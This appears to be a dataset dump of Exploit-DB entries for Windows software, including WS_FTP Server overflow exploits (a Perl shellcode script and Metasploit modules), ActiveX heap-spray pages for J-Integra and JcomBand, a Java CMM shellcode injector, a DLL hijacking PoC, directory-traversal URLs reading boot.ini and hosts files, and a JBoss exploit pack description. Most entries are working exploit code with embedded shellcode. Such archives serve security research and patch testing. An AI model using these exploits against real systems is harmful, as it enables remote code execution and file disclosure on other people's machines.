deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21036
Description: Ipswitch WS_FTP Server 2.0 - Anonymous Multiple FTP Command Buffer Overflows
Type: remote
Platform: windows
Date: 2001-07-25
Author: andreas

Exploit:
source: https://www.securityfocus.com/bid/3102/info

WS-FTP Server is vulnerable to malicious remote user input argumenting multiple FTP commands received from anonymously connecting clients.

An attacker may supply a long sequence of characters as an argument to any of the affected commands. If the length of the argumenting string exceeds the size of its input buffer, the excess data will overwrite other variables on the stack and the stack frame itself.

As a result, an attacker can replace the affected function's return address with a pointer to malicious shellcode, allowing arbitrary code to run with SYSTEM privilege.

#!/usr/local/bin/perl
#########################################################################
#
# WS_FTP Server 2.0.2 DELE proof-of-concept exploit
# By andreas@defcom.com and janne@defcom.com (C)2001
#
#########################################################################
$login="ftp";	#username
$pass="ftp";	#password
#########################################################################
$ARGC=@ARGV;
if ($ARGC !=1) {
	print "WS_FTP server 2.0.2 DELE proof-of-concept exploit\n";
	print "It creates a file named defcom.iyd in the c-root\n";
	print "(C)2001 andreas\@defcom.com\n";
   	print "Usage: $0 <host>\n";
	print "Example: $0 127.0.0.1\n";
	exit;
}
use Socket;

my($remote,$port,$iaddr,$paddr,$proto);
$remote=$ARGV[0];
$port = "21";

$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";

sleep(1);
$msg = "user $login\n"; 
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$msg = "pass $pass\n";
sleep(1);
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$sploit = "\x8b\xd8\x8b\xf8\x83\xc0\x18\x33\xc9\x66\xb9\x42\x81\x66\x81\xf1\x80\x80\x80\x30\x95\x40\xe2\xfa\xde\x1e\x76";
$sploit = $sploit . "\x1e\x7e\x2e\x95\x6f\x95\x95\xc6\xfd\xd5\x95\x95\x95\x2b\x49\x81\xd0\x95\x6a\x83\x96\x56\x1e\x75\x1e\x7d\xa6\x55";
$sploit = $sploit . "\xc5\xfd\x15\x95\x95\x95\xff\x97\xc5\xc5\xfd\x95\x95\x95\x85\x14\x52\x59\x94\x95\x95\xc2\x2b\xb1\x80\xd0\x95";
$sploit = $sploit . "\x6a\x83\xc5\x2b\x6d\x81\xd0\x95\x6a\x83\xa6\x55\xc5\x2b\x85\x83\xd0\x95\x6a\x83";
$msg = "dele " . $sploit . "\xd4" x (460-length($sploit)) .  "\xf6\xaf\xc9\xf1\xf0\xf3\xf6\xfa\xf8\xbb\xfc\xec\xf1\x95";
$msg = $msg . "\xab\xa3\x54\x77" . "\xd4" x 16 . "\x8b\xc4\x83\xe8\x7f\x83\xe8\x7f\x83\xe8\x7f\x83\xe8\x71\xff\xe0\n";
print $msg;
sleep(1);
send(SOCK, $msg, 0) or die "Cannot send query: $!";
exit;
Exploit-DB #16719
Description: Ipswitch WS_FTP Server 5.03 - MKD Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-10-05
Author: Metasploit

Exploit:
##
# $Id: wsftp_server_503_mkd.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WS-FTP Server 5.03 MKD Overflow',
			'Description'    => %q{
				This module exploits the buffer overflow found in the MKD
				command in IPSWITCH WS_FTP Server 5.03 discovered by Reed
				Arvin.
			},
			'Author'         => [ 'et', 'Reed Arvin <reedarvin@gmail.com>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 10559 $',
			'Platform'       => [ 'win' ],
			'References'     =>
				[
					[ 'CVE', '2004-1135' ],
					[ 'OSVDB', '12509' ],
					[ 'BID', '11772'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 480,
					'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[
						'WS-FTP Server 5.03 Universal',
						{
							'Ret'      => 0x25185bb8,
							# Address is executable to allow XP and 2K
							# 0x25185bb8 = push esp, ret (libeay32.dll)
							# B85B1825XX = mov eax,0xXX25185b
						},
					],
				],
			'DisclosureDate' => 'Nov 29 2004',
			'DefaultTarget' => 0))
	end

	def check
		connect
		disconnect
		if (banner =~ /5\.0\.3/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		print_status("Trying target #{target.name}...")

		buf         = rand_text_alphanumeric(8192)
		buf[498, 4] = [ 0x7ffd3001 ].pack('V')
		buf[514, 4] = [ target.ret ].pack('V')
		buf[518, 4] = [ target.ret ].pack('V')
		buf[522, 2] = make_nops(2)
		buf[524, payload.encoded.length] = payload.encoded

		send_cmd( ['MKD', buf], true );

		handler
		disconnect
	end

end
Exploit-DB #16717
Description: Ipswitch WS_FTP Server 5.05 - XMD5 Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: wsftp_server_505_xmd5.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Ipswitch WS_FTP Server 5.05 XMD5 Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the XMD5 verb in
				IPSWITCH WS_FTP Server 5.05.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2006-4847' ],
					[ 'OSVDB', '28939' ],
					[ 'BID', '20076' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 300,
					'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663 } ],
					[ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77dc0df0 } ],
					[ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77dc5527 } ],

				],
			'DisclosureDate' => 'Sep 14 2006',
			'DefaultTarget' => 0))
	end

	def check
		connect
		disconnect
		if (banner =~ /WS_FTP Server 5.0.5/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		print_status("Trying target #{target.name}...")

		sploit =  rand_text_alphanumeric(676, payload_badchars)
		sploit << [target.ret].pack('V') + payload.encoded

		send_cmd( ['XMD5', sploit] , false)

		handler
		disconnect
	end

end
Exploit-DB #36514
Description: IPtools 0.1.4 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2012-01-06
Author: demonalex

Exploit:
source: https://www.securityfocus.com/bid/51312/info

IPtools is prone to a remote buffer-overflow vulnerability because it fails to bounds-check user-supplied input before copying it into an insufficiently sized memory buffer.

Exploiting this vulnerability may allow remote attackers to execute arbitrary code in the context of the affected device. Failed exploit attempts will result in a denial-of-service condition.

IPtools 0.1.4 is vulnerable; other versions may also be affected. 

Title: IpTools(Tiny TCP/IP server) - Rcmd Remote Overflow Vulnerability

Software : IpTools(Tiny TCP/IP server)

Software Version : 0.1.4

Vendor: http://iptools.sourceforge.net/iptools.html

Class: Boundary Condition Error

CVE:

Remote: Yes

Local: No

Published: 2012-01-07

Updated:

Impact : High

Bug Description :
IPtools is a set of small tiny TCP/IP programs includes Remote command server(not a telnet server, Executable file: Rcmd.bat), etc.
And the remote command server would bind tcp port 23, but it does not validate the command input size leading to a Denial Of Service
flaw while sending more than 255 characters to it.

POC:
#-------------------------------------------------------------
#!/usr/bin/perl -w
#IpTools(0.1.4) - Rcmd Remote Crash PoC by demonalex (at) 163 (dot) com [email concealed]
#-------------------------------------------------------------
use IO::Socket;
$remote_host = '127.0.0.1'; #victim ip as your wish
$remote_port = 23; #rcmd default port number
$sock = IO::Socket::INET->new(PeerAddr => $remote_host, PeerPort => $remote_port,
Timeout => 60) || die "$remote_host -> $remote_port is closed!\n";
$sock->recv($content, 1000, 0);
$count=0;
while($count<=255){
$sock->send("a", 0);
$count++;
}
$sock->send("\r\n", 0);
$sock->recv($content, 1000, 0);
$sock->shutdown(2);
exit(1);
#-------------------------------------------------------------

Credits : This vulnerability was discovered by demonalex (at) 163 (dot) com [email concealed]
mail: demonalex (at) 163 (dot) com [email concealed] / ChaoYi.Huang (at) connect.polyu (dot) hk [email concealed]
Pentester/Researcher
Dark2S Security Team/PolyU.HK
Exploit-DB #36513
Description: IpTools 0.1.4 - Tiny TCP/IP servers Directory Traversal
Type: remote
Platform: windows
Date: 2012-01-06
Author: demonalex

Exploit:
source: https://www.securityfocus.com/bid/51311/info

IpTools Tiny TCP/IP servers is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the web server. Information harvested may aid in launching further attacks.

IpTools Tiny TCP/IP servers 0.1.4 is vulnerable; other versions may also be affected.

http://www.example.com/..\..\boot.ini
http://www.example.com/../../boot.ini
http://www.example.com/..\..\windows\system32\drivers\etc\hosts
http://www.example.com/../../windows/system32/drivers/etc/hosts
Exploit-DB #34830
Description: IsoBuster 2.7 - 'wnaspi32.dll' DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-10-10
Author: Pepelux

Exploit:
// source: https://www.securityfocus.com/bid/43912/info

IsoBuster is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

IsoBuster 2.7 is vulnerable; other versions may also be affected. 

/*
==================================================================
IsoBuster v2.7 (Build 2.7.0.0) DLL Hijacking Exploit (wnaspi32.dll) 
===================================================================

$ Program: IsoBuster
$ Version: v2.7 (Build 2.7.0.0)
$ Download: http://www.isobuster.com/
$ Date: 2010/10/08
 
Found by Pepelux <pepelux[at]enye-sec.org>
http://www.pepelux.org
eNYe-Sec - www.enye-sec.org

Tested on: Windows XP SP2 && Windows XP SP3

Extensions: " .rar && .r00 ... .r99 && .zoo "

How  to use : 

1> Compile this code as wnaspi32.dll
	gcc -shared -o wnaspi32.dll thiscode.c
2> Move DLL file to the directory where IsoBuster is installed
3> Open any file recognized by isobuster
*/


#include <windows.h>
#define DllExport __declspec (dllexport)
int mes()
{
  MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK);
  return 0;
}
BOOL WINAPI  DllMain (
			HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
			{mes();}
Exploit-DB #20637
Description: itafrica webactive 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-02-16
Author: slipy

Exploit:
source: https://www.securityfocus.com/bid/2386/info

It is possible for a remote user to gain read access to directories and files outside the root directory of ITAfrica WEBactive. Requesting a specially crafted URL composed of '../' sequences will disclose an arbitrary directory. 

http://target/../../../scandisk.log

^^ = Will obviously open the scandisk.log file.
Exploit-DB #15655
Description: J-Integra 2.11 - ActiveX SetIdentity() Buffer Overflow
Type: remote
Platform: windows
Date: 2010-12-01
Author: Dr_IDE

Exploit:
<!--
Exploit Title:	J-Integra v2.11 ActiveX SetIdentity() Buffer Overflow Exploit
Found By:	Dr_IDE
Download:	http://j-integra.intrinsyc.com/
Greets: 	bz1p, bz1p@bshellz.net for finding the app.
Tested on: 	XP SP3 IE7
CVE: 		(0day)
Notes:		This is not the same control as EDB#15648
-->
<html>
<object classid='clsid:8234E54E-20CB-4A88-9AB6-7986F99BE243' id='target'></object>
<script>
//payload is windows/exec cmd=calc.exe
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a");

arg2=String("abcd");
target.SetIdentity(ret ,arg2);
</script>
</html>
Exploit-DB #15648
Description: J-Integra 2.11 - Remote Code Execution
Type: remote
Platform: windows
Date: 2010-12-01
Author: bz1p

Exploit:
<html>
<!-- 
j-integra v2.11 Remote code execution vulnerability
Discovered on: Thursday, October 28, 2010, 10:10:12 PM
Download: http://j-integra.intrinsyc.com/
Author: bz1p, bz1p@bshellz.net
impact: LOW, due to the object NOT marked safe for scripting
Tested on: XP SP3 IE7
CVE: ? (0day)

NOTE:
This vuln was silently patched by the developers (v2.12), hence I am providing 
this PoC. They did not change the versions for DCOMConfig.dll, so I can only
conclude that they are sneaky and should be slapped for backdooring 
software and making customers pay mula.
-->

<object classid='clsid:F21507A7-530F-4A89-8FE4-9D989670FD2C' id='target' ></object>
<script language='vbscript'>
esp = String(100, "B")

calc = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _
unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _
unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _
unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _
unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _
unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _
unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _
unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _
unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _
unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _
unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _
unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _
unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _
unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _
unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _
unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _
unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _
unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _
unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _
unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _
unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _
unescape("%50%68")

eip = unescape("%2f%55%02%10") ' CALL EDI
arg1=String(253, "A")
arg1 = arg1 + eip + esp + calc
arg2="defaultV"

target.RemoveLaunchPermission arg1 ,arg2
</script>
</html>

<!--
It has also been reported by Dr_IDE that the following methods 
are also vulnerable to the same exploit:
target.RemoveAccessPermission arg1 ,arg2
target.AddLaunchPermission arg1 ,arg2
target.AddAccessPermission arg1 ,arg2
-->
Exploit-DB #20661
Description: jarle aase war ftpd 1.67 b04 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-03-06
Author: se00020

Exploit:
source: https://www.securityfocus.com/bid/2444/info

A remote user could gain read access to directories outside of the ftp root in a Jarle Aase War FTPD Server. Once a user is logged into the server, a specially crafted 'dir' command will disclose an arbitrary directory. This vulnerability could allow an attacker to gain read access to various files residing on the target machine. 

dir *./../..
Exploit-DB #20826
Description: Jason Rahaim MP3Mystic 1.0.x - Server Directory Traversal
Type: remote
Platform: windows
Date: 2001-05-07
Author: neme-dhc

Exploit:
source: https://www.securityfocus.com/bid/2699/info

A vulnerability exists in Jason Rahaim's MP3Mystic Server which allows a remote user to traverse the directories of a target host. This may lead to the disclosure of file and directory contents. Arbitrary directories can be accessed through the inclusion of double dot '../' sequences when submitting a URL. 

www.example.com/../scandisk.log
Exploit-DB #15056
Description: Java 6.19 CMM readMabCurveData - Remote Stack Overflow
Type: remote
Platform: windows
Date: 2010-09-20
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''

'''
  Title             : Java CMM readMabCurveData stack overflow
  Version           : Java runtime < 6.19 
  Analysis          : http://www.abysssec.com
  Vendor            : http://www.java.com
  Impact            : Critical
  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           : @abysssec
  CVE               : CVE-2010-0838
  MOAUB Number      : MOAUB_20_BA

http://www.exploit-db.com/moaub-20-java-cmm-readmabcurvedata-stack-overflow/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15056.zip (moaub-20-exploit.zip)
'''

import sys

def main():
   
    try:
		strHTML = '''
		<HTML>
		<HEAD>
		</HEAD>
		<BODY>
		<H1>You have exploited!!!</H1>
		<P><APPLET code="Curve.class" WIDTH="600" HEIGHT="400">
		</APPLET></P>
		</BODY>
		</HTML>		'''
		fHTML = open('index.html', 'w')
		fHTML.write(strHTML)
		fHTML.close()
		fdR = open('kodak.icm', 'rb+')
		strTotal = fdR.read()
		str1 = strTotal[:9154]
		str2 = strTotal[9648:]
		shellcode = '\xEB\x6B\x5A\x31\xC9\x6A\x10\x52\x42\x52\x51\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xFF\xD6\x6A\x00\xFF\xD0\xFF\xD7\x50\x68\xA8\xA2\x4D\xBC\xFF\xD6\xE8\xDA\xFF\xFF\xFF\x00\x54\x68\x65\x20\x65\x78\x70\x6C\x6F\x69\x74\x20\x77\x61\x73\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21\x00\x5E\x6A\x30\x59\x64\x8B\x19\x8B\x5B\x0C\x8B\x5B\x1C\x8B\x1B\x8B\x5B\x08\x53\x68\x8E\x4E\x0E\xEC\xFF\xD6\x89\xC7\xE8\xB3\xFF\xFF\xFF\x55\x53\x45\x52\x33\x32\x00\xE8\xD3\xFF\xFF\xFF\x53\x55\x56\x57\x8B\x6C\x24\x18\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x32\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC\x31\xC0\xAC\x38\xE0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C\x24\x14\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\xEB\x02\x31\xC0\x5F\x5E\x5D\x5B\xC2\x08\x00'
		
		if len(shellcode) > 494:
			print "[*] Error : Shellcode length is long"
			return
		if len(shellcode) <= 494:
			dif = 494 - len(shellcode)
			while dif > 0 :
				shellcode += '\x90'
				dif = dif - 1
		fdW= open('kodak.icm', 'wb+')
		fdW.write(str1)
		fdW.write(shellcode)
		fdW.write(str2)
		fdW.close()
		fdR.close()
		print '[-] Html file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                
if __name__ == '__main__':
    main()
Exploit-DB #17977
Description: JBoss AS 2.0 - Remote Command Execution
Type: remote
Platform: windows
Date: 2011-10-11
Author: kingcope

Exploit:
THE FULL DAYTONA PACKAGE -- BY KINGCOPE, YEAR 2011
THREE JBOSS APPLICATION SERVER REMOTE EXPLOITS WITH AUTHEN BYPASS
PORTED FROM METASPLOIT AND BEEFED UP WITH TWO SCANNERS:
*PNSCAN W/ SSL SUPPORT
*SYNSCAN MODDED

FILES:
      * daytona_bsh.pl, daytona_deployfile.pl, daytona_maindeploy.pl
        THE REMOTE EXPLOITS, BEST OF USE IS daytona_bsh.pl

      * daytona_bsh_ssl.pl, daytona_deployfile_ssl.pl, daytona_maindeploy_ssl.pl
        SSL SUPPORT FOR THE REMOTE EXPLOITS

      * synscan-modded.tar
        THE SYNSCAN IS MODDED FOR SCANNING JBOSS (X-Powered-By TAG) ON PORT 8080 ONLY.

      * pnscan-1.11.tar.gz
        ORIGINAL PARALLEL NETWORK SCANNER (NO CREDITS HERE)

      * pnscan-1.11-ssl.tar
        PARALLEL NETWORK SCANNER MODDED TO SUPPORT SSL
        USAGE: ./pnscan -r JBoss -w "HEAD / HTTP/1.0" 10.10.0.0/16 443

CHEERS,
KINGCOPE

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17977.tar.bz2 (DAYTONA_FULL.tar.bz2)
Exploit-DB #11059
Description: JcomBand toolbar on IE - ActiveX Buffer Overflow
Type: remote
Platform: windows
Date: 2010-01-07
Author: germaya_x & D3V!L FUCKER

Exploit:
<html>
 <head>
  <title>JcomBand Exploit (heap spray) </title>
<object classid='clsid:952E3F80-0C34-48CD-829B-A45913B29670' id='test'></object>
<script language='javascript'>
    // Author:    [germaya_x & D3V!L FUCKER]
    // Version:   [2.5]
    // special thanx: [for my best friend his0k4].
    // Geetz [2] :[Sarbot511 ,thrid-devil].

    //calc from metasploit
     shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

     nops=unescape('%u9090%u9090');
     headersize =20;
     slackspace= headersize + shellcode.length;
     
     //Filling the header of our block with nops
    while(nops.length< slackspace) nops+= nops;
   
     fillblock= nops.substring(0, slackspace);
     
     block= nops.substring(0, nops.length- slackspace);
     
    while( block.length+ slackspace<0x40000) block= block+ block+ fillblock;
   
    //Creating new memory array.
     memory=new Array();
     
     //Filling the memory array with the nops + shellcode.
    for( counter=0; counter<300; counter++) memory[counter]= block + shellcode;
   
    // the ret is the adress of our shellcode in the heap.
     ret='%0a%0a%0a%0a';
     
     // filling our buffer with ret adress
    for( counter=0; counter<=50; counter++) ret+=unescape('%0a%0a%0a%0a');
   
    // passing the buffer argument to the vulnerable function JumpMappedID().
    test.isRegistered(ret);
</script>
</head>
</html>